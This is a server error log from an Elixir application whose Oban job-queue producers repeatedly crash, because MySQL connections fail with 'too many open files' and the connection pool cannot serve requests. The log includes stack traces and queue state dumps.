State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:47:05.241220Z], limit: 10, uuid: "e21ca124-96cc-4fc0-8f88-081da976b50f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:05.241225Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.68892>, refresh_timer: #Reference<0.2525715032.1099431938.68880>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:19.571000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:20.375000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:24.933000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:25.135000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:26.552000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:26.899000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:27.420000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:28.324000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1028ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:47:18.239479Z], limit: 5, uuid: "5d0e685e-4e2c-43af-a7bd-b768c6e8871a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:18.239484Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.54653>, refresh_timer: #Reference<0.2525715032.1068498948.77943>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 812ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:47:18.238231Z], limit: 20, uuid: "deaa50e4-8381-4706-b8d9-34dec7435749", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:18.238237Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.77917>, refresh_timer: #Reference<0.2525715032.1068498948.77910>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:30.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:47:18.239309Z], limit: 5, uuid: "505c25ed-5f3a-40c2-ab26-58882591acaa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:18.239314Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.77977>, refresh_timer: #Reference<0.2525715032.1068498948.77934>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:30.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1020ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:47:18.239055Z], limit: 3, uuid: "52b4e9be-8f10-4213-976e-67d9c7f4ec99", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:18.239060Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.77978>, refresh_timer: #Reference<0.2525715032.1068498948.77930>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:30.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1006ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:47:18.239777Z], limit: 10, uuid: "680debfd-f3d0-4c1f-afd2-64851b748783", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:18.239782Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.54652>, refresh_timer: #Reference<0.2525715032.1077673987.54639>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:30.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 885ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:47:18.238725Z], limit: 50, uuid: "970424e2-ddd3-45c9-8239-1b0c9bedc5b8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:18.238731Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.54620>, refresh_timer: #Reference<0.2525715032.1077673987.54619>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:37.699000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:38.060000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:39.028000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:40.835000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:40.999000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:41.445000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:42.155000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1058ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:47:30.239162Z], limit: 10, uuid: "d3f2b7c0-bdbd-4604-9c4e-66d450041ff0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:30.239168Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.69011>, refresh_timer: #Reference<0.2525715032.1077673987.54736>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:42.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
